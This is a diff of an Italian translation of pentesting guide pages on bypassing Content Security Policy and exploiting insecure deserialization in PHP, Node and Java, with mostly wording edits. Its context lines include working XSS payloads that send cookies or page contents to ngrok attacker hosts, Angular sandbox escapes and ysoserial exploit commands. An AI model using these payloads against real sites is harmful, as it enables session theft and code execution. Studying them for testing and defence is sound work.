 ### Form-action

-Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
+Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo rapporto**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.

 ### Endpoint di terze parti + ('unsafe-eval')

@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a

 > [!NOTE]
 > Il post mostra che puoi **caricare** tutte le **librerie** da `cdn.cloudflare.com` (o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e controllare **quali funzioni di quali librerie restituiscono l'oggetto `window`**.
-```markup
+```html
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 <div ng-app ng-csp>
@ -275,7 +275,7 @@ Abusare di \*.google.com/script.google.com
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
 Scenari come questo in cui `script-src` è impostato su `self` e un dominio particolare che è nella whitelist possono essere aggirati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
-```markup
+```html
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
 ```
@ -284,28 +284,28 @@ Scenari come questo in cui `script-src` è impostato su `self` e un dominio part
 https://www.youtube.com/oembed?callback=alert;
 <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare la CSP di diversi siti web.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare CSP di diversi siti web.**

-La stessa vulnerabilità si verificherà se l'**endpoint di fiducia contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.
+La stessa vulnerabilità si verificherà se l'**endpoint fidato contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.

 ### Abusi di Terze Parti

-Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:
+Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nel CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:

-| Entità            | Dominio Consentito                          | Capacità     |
-| ----------------- | ------------------------------------------- | ------------ |
-| Facebook          | www.facebook.com, \*.facebook.com           | Exfil        |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Exfil        |
-| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
-| Amazon CloudFront | \*.cloudfront.net                           | Exfil, Exec  |
-| Amazon AWS        | \*.amazonaws.com                            | Exfil, Exec  |
+| Entità            | Dominio Consentito                           | Capacità     |
+| ----------------- | -------------------------------------------- | ------------ |
+| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
+| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
+| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
+| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
+| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
 | Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
-| Salesforce Heroku | \*.herokuapp.com                            | Exfil, Exec  |
-| Google Firebase   | \*.firebaseapp.com                          | Exfil, Exec  |
+| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
+| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |

-Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.
+Se trovi uno dei domini consentiti nel CSP del tuo obiettivo, è probabile che tu possa bypassare il CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.

-Ad esempio, se trovi la seguente CSP:
+Ad esempio, se trovi il seguente CSP:
 ```
 Content-Security-Policy: default-src 'self’ www.facebook.com;
 ```
@ -368,7 +368,7 @@ Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella
 ```
 ### AngularJS eventi

-Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox.
+Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dal sandbox.

 Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo:
 ```xml
@ -393,7 +393,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 <!-- no longer working -->
 <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
 ```
-Altri endpoint di esecuzione arbitraria JSONP possono essere trovati in [**qui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati rimossi o corretti)
+Altri endpoint di esecuzione arbitraria JSONP possono essere trovati [**qui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati rimossi o corretti)

 ### Bypass tramite Redirezione

@ -421,13 +421,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 ```
 Se CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati da CSP.

-Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso.
+Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, eludendo così la restrizione del percorso.

-Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato.
+Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque eluso.

 Pertanto, la soluzione migliore è garantire che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.

-### Bypassare CSP con markup pendente
+### Eludere CSP con markup pendente

 Leggi [come qui](../dangling-markup-html-scriptless-injection/index.html).

@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

-Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare dell' "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l' **immagine**, **estrarrà** il **JS** da essa e **eseguirà** **esso**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare dell' "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l' **immagine**, **estrarrà** il **JS** da essa e **lo eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

 ### Con i Service Workers

@ -462,7 +462,7 @@ La funzione **`importScripts`** dei service workers non è limitata dal CSP:

 #### Chrome

-Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy,** allora potresti **modificare** la **policy** in qualche modo che la renda **inutile**. Potresti **consentire script 'unsafe-inline'** con uno di questi bypass:
+Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy,** allora potresti **alterare** la **policy** in qualche modo che la renda **inutile**. Potresti **consentire script 'unsafe-inline'** con uno di questi bypass:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -478,7 +478,7 @@ Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
 ### img-src \*; via XSS (iframe) - Attacco temporale

 Nota l'assenza della direttiva `'unsafe-inline'`\
-Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
+Questa volta puoi far **caricare** una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.

 Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre la flag:
 ```html
@ -542,21 +542,21 @@ run()
 ```
 ### Via Bookmarklets

-Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrà **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookie o token.
+Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookie o token.

 Per ulteriori informazioni [**controlla il rapporto originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

-### CSP bypass by restricting CSP
+### Bypass CSP limitando CSP

 In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un altro script per caricare uno script arbitrario**.

-Puoi **ristretta un CSP di un Iframe** con l'attributo **`csp`**:
+Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
 ```html
 <iframe
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
+In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** così uno script che preveniva CSTI è stato disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
 La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**:
 ```html
 <meta
@ -568,7 +568,7 @@ content="script-src 'self'
 ```
 ### JS exfiltration with Content-Security-Policy-Report-Only

-Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dalla CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) sarà inviata al server da `Content-Security-Policy-Report-Only`.
+Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dal CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) sarà inviata al server da `Content-Security-Policy-Report-Only`.

 Per un esempio [**controlla questo CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

@ -599,7 +599,7 @@ Trick da [**qui**](https://ctftime.org/writeup/29310).

 ### Errori PHP quando ci sono troppi parametri

-Secondo la [**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.
+Secondo l'[**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.

 ### Sovraccarico del buffer di risposta PHP

--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@ -18,7 +18,7 @@ In PHP, specifici metodi magici sono utilizzati durante i processi di serializza
 - `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.
 - `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
 - `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per compiti di pulizia, come la chiusura di handle di file o connessioni al database.
- `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo effettivamente una rappresentazione testuale dell'oggetto.
+- `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo efficacemente una rappresentazione testuale dell'oggetto.
 ```php
 <?php
 class test {
@ -77,7 +77,7 @@ This is a test<br />
 Se guardi i risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruct`** vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione **`__toString`** viene chiamata quando si cerca di stampare un attributo, ma apparentemente **non sta più accadendo**.

 > [!WARNING]
-> Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come array. Puoi utilizzare questo metodo per deserializzare le proprietà e svolgere eventuali compiti necessari al momento della deserializzazione.
+> Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come un array. Puoi utilizzare questo metodo per deserializzare le proprietà e svolgere eventuali compiti necessari al momento della deserializzazione.
 >
 > ```php
 > class MyClass {
@ -118,10 +118,10 @@ $ser=serialize($o);
 ### PHPGGC (ysoserial per PHP)

 [**PHPGGC**](https://github.com/ambionics/phpggc) può aiutarti a generare payload per abusare delle deserializzazioni PHP.\
-Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice di estensioni PHP esterne.**\
+Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice delle estensioni PHP esterne.**\
 Quindi, se puoi, controlla il `phpinfo()` del server e **cerca su internet** (e anche sui **gadgets** di **PHPGGC**) alcuni possibili gadget che potresti abusare.

-### deserializzazione dei metadati phar://
+### phar:// metadata deserialization

 Se hai trovato un LFI che sta solo leggendo il file e non eseguendo il codice php al suo interno, ad esempio utilizzando funzioni come _**file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**_**.** Puoi provare ad abusare di una **deserializzazione** che si verifica quando **leggi** un **file** utilizzando il protocollo **phar**.\
 Per ulteriori informazioni leggi il seguente post:
@ -231,7 +231,7 @@ All'interno del file `node-serialize/lib/serialize.js` puoi trovare lo stesso fl

 ![](<../../images/image (446).png>)

-Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** viene utilizzato `eval` per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
+Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** `eval` viene utilizzato per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.

 Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà** poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\
 Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
@ -256,7 +256,7 @@ Puoi [**trovare qui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-j

 Un aspetto notevole di **funcster** è l'inaccessibilità degli **oggetti standard incorporati**; essi rientrano al di fuori dell'ambito accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi su oggetti incorporati, portando a eccezioni come `"ReferenceError: console is not defined"` quando vengono utilizzati comandi come `console.log()` o `require(something)`.

-Nonostante questa limitazione, è possibile ripristinare l'accesso completo al contesto globale, inclusi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, si può aggirare questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente frammento:
+Nonostante questa limitazione, è possibile ripristinare l'accesso completo al contesto globale, inclusi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, si può eludere questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente frammento:
 ```javascript
 funcster = require("funcster")
 //Serialization
@ -348,7 +348,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
 ```
 ### Controlla se vulnerabile

-Se vuoi **imparare come funziona un exploit di deserializzazione Java** dovresti dare un'occhiata a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
+Se vuoi **imparare come funziona un exploit di deserializzazione Java** dovresti dare un'occhiata a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).

 #### Test White Box

@ -357,13 +357,13 @@ Puoi controllare se è installata qualche applicazione con vulnerabilità note.
 find . -iname "*commons*collection*"
 grep -R InvokeTransformer .
 ```
-Potresti provare a **controllare tutte le librerie** note per essere vulnerabili e per le quali [**Ysoserial**](https://github.com/frohoff/ysoserial) può fornire un exploit. Oppure potresti controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
-Potresti anche usare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili catene di gadget che possono essere sfruttate.\
+Potresti provare a **controllare tutte le librerie** note per essere vulnerabili e che [**Ysoserial**](https://github.com/frohoff/ysoserial) può fornire un exploit. Oppure potresti controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
+Puoi anche usare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili catene di gadget che possono essere sfruttate.\
 Quando esegui **gadgetinspector** (dopo averlo costruito) non preoccuparti dei tonnellate di avvisi/errori che sta attraversando e lascialo finire. Scriverà tutti i risultati sotto _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si prega di notare che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.

-#### Test Black Box
+#### Black Box Test

-Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e anche le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
+Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e persino le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
 [**Leggi questo per saperne di più su GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
 GadgetProbe è focalizzato sulle **deserializzazioni `ObjectInputStream`**.

@ -374,7 +374,7 @@ Java Deserialization Scanner è focalizzato sulle **deserializzazioni `ObjectInp
 Puoi anche usare [**Freddy**](https://github.com/nccgroup/freddy) per **rilevare vulnerabilità di deserializzazione** in **Burp**. Questo plugin rileverà **non solo vulnerabilità** relative a **`ObjectInputStream`** ma **anche** vulnerabilità da librerie di deserializzazione **Json** e **Yml**. In modalità attiva, cercherà di confermarle utilizzando payload di sleep o DNS.\
 [**Puoi trovare ulteriori informazioni su Freddy qui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)

-**Test di Serializzazione**
+**Serialization Test**

 Non si tratta solo di controllare se qualche libreria vulnerabile è utilizzata dal server. A volte potresti essere in grado di **cambiare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli** (forse concederti privilegi di amministratore all'interno di un'app web).\
 Se trovi un oggetto serializzato java inviato a un'applicazione web, **puoi usare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile dall'uomo l'oggetto di serializzazione che viene inviato**. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.
@ -384,7 +384,7 @@ Se trovi un oggetto serializzato java inviato a un'applicazione web, **puoi usar
 #### **ysoserial**

 Lo strumento principale per sfruttare le deserializzazioni Java è [**ysoserial**](https://github.com/frohoff/ysoserial) ([**scarica qui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Puoi anche considerare di usare [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) che ti permetterà di usare comandi complessi (con pipe ad esempio).\
-Nota che questo strumento è **focalizzato** sull'exploitation di **`ObjectInputStream`**.\
+Nota che questo strumento è **focalizzato** sullo sfruttamento di **`ObjectInputStream`**.\
 Inizierei **usando il payload "URLDNS"** **prima di un payload RCE** per testare se l'iniezione è possibile. Comunque, nota che forse il payload "URLDNS" non funziona ma un altro payload RCE sì.
 ```bash
 # PoC to make the application perform a DNS req
@ -461,7 +461,7 @@ Puoi **usare** [**https://github.com/pwntester/SerialKillerBypassGadgetCollectio

 [**marshalsec** ](https://github.com/mbechler/marshalsec)può essere utilizzato per generare payload per sfruttare diverse librerie di serializzazione **Json** e **Yml** in Java.\
 Per compilare il progetto ho dovuto **aggiungere** queste **dipendenze** a `pom.xml`:
-```markup
+```html
 <dependency>
 <groupId>javax.activation</groupId>
 <artifactId>activation</artifactId>
@ -475,7 +475,7 @@ Per compilare il progetto ho dovuto **aggiungere** queste **dipendenze** a `pom.
 <type>pom</type>
 </dependency>
 ```
-**Installa maven** e **compila** il progetto:
+**Installa maven**, e **compila** il progetto:
 ```bash
 sudo apt-get install maven
 mvn clean package -DskipTests
@ -494,14 +494,14 @@ Leggi di più su questa libreria Java JSON: [https://www.alphabot.com/security/b
 Java utilizza molto la serializzazione per vari scopi come:

 - **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
- **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
- **RMI over HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
+- **RMI (Remote Method Invocation)**: Il protocollo Java RMI, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
+- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
 - **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete.
 - **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che saranno dimostrati negli esempi di exploit futuri.

 ### Prevention

-#### Oggetti transient
+#### Transient objects

 Una classe che implementa `Serializable` può implementare come `transient` qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzabile. Ad esempio:
 ```java
@ -512,7 +512,7 @@ private transient double margin; // declared transient
 ```
 #### Evitare la serializzazione di una classe che deve implementare Serializable

-In scenari in cui alcuni **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia delle classi, c'è il rischio di deserializzazione involontaria. Per prevenire ciò, assicurati che questi oggetti non siano deserializzabili definendo un metodo `readObject()` `final` che lanci costantemente un'eccezione, come mostrato di seguito:
+In scenari in cui determinati **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia delle classi, c'è il rischio di deserializzazione involontaria. Per prevenire ciò, assicurati che questi oggetti non siano deserializzabili definendo un metodo `readObject()` `final` che lanci costantemente un'eccezione, come mostrato di seguito:
 ```java
 private final void readObject(ObjectInputStream in) throws java.io.IOException {
 throw new java.io.IOException("Cannot be deserialized");
@ -546,7 +546,7 @@ return super.resolveClass(desc);
 }
 }
 ```
-**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklistaggio di classi dannose**, utilizzando un parametro JVM:
+**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting delle classi dannose**, utilizzando un parametro JVM:
 ```
 -javaagent:name-of-agent.jar
 ```
@ -568,7 +568,7 @@ return Status.ALLOWED;
 };
 ObjectInputFilter.Config.setSerialFilter(filter);
 ```
-**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come la whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
+**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.

